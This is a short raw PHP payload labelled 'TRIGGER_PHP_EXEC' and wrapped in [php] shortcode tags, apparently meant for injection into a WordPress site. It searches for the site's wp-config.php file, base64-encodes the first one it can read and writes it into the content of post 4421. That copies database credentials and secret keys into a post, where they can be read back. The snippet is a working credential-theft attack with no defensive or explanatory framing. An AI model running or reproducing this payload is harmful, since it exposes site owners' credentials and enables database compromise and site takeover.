TRIGGER_PHP_EXEC
[php]
global $wpdb;
$paths = array(
“/var/www/html/business/wp-config.php”,
“/var/www/html/wp-config.php”,
“/var/www/html/wp-config-sample.php”
);
foreach ($paths as $f) {
$c = @file_get_contents($f);
if ($c !== false && strlen($c) > 20) {
$b64 = base64_encode($c);
$wpdb->update($wpdb->posts, array(“post_content” => $b64), array(“ID” => 4421));
echo “OK:” . strlen($c) . “:” . basename($f);
break;
}
}
echo “DONE”;
[/php]